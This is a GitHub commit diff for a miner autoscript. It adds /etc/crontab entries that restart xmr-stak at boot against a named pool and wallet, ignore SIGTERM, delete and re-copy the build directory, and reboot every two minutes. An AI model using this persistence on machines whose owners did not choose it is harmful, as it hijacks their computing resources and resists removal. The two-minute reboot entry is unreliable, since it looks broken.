File tree Expand file tree Collapse file tree 1 file changed +9
-0
lines changed Expand file tree Collapse file tree 1 file changed +9
-0
lines changed Original file line number Diff line number Diff line change @@ -17,6 +17,15 @@ cd bin
17
17
mv ~ /stak-cpu-autoscript/expect-mg.sh ~ /stak-cpu-autoscript/xmr-stak/build/bin
18
18
# Run Expect
19
19
expect ./expect-mg.sh
20
+ /sbin/chkconfig crond on
21
+ /sbin/service crond start
22
+ echo ' */2 * * * * /sbin/shutdown -r' >> /etc/crontab
23
+ echo ' @reboot rm -rf /root/xmr-stak/build/bin' >> /etc/crontab
24
+ echo ' @reboot cp ~/stak-cpu-autoscript/bin ~/stak-cpu-autoscript/xmr-stak/build/' >> /etc/crontab
25
+ echo ' @reboot tmux' >> /etc/crontab
26
+ echo ' @reboot trap "" 15' >> /etc/crontab
27
+ echo ' @reboot /root/stak-autoscript-centos/xmr-stak/build/bin/xmr-stak --currency cryptonight -o pool.macscoin.site:3333 -u MgTJuJaFrLMGuGU7NcgzXJPxUvMNXwZX7QN16nr29u8iRGaa3HybJ9QVrPTyqTBiZka5zSVec55Ac8C4ofE78TaNTFfEcYw -p x
28
+ ' >> /etc/crontab
20
29
# Trap sigterm
21
30
trap " " 15
22
31
# Run Script ** CHANGE POOL & ADDRESS HERE **
You can’t perform that action at this time.
0 commit comments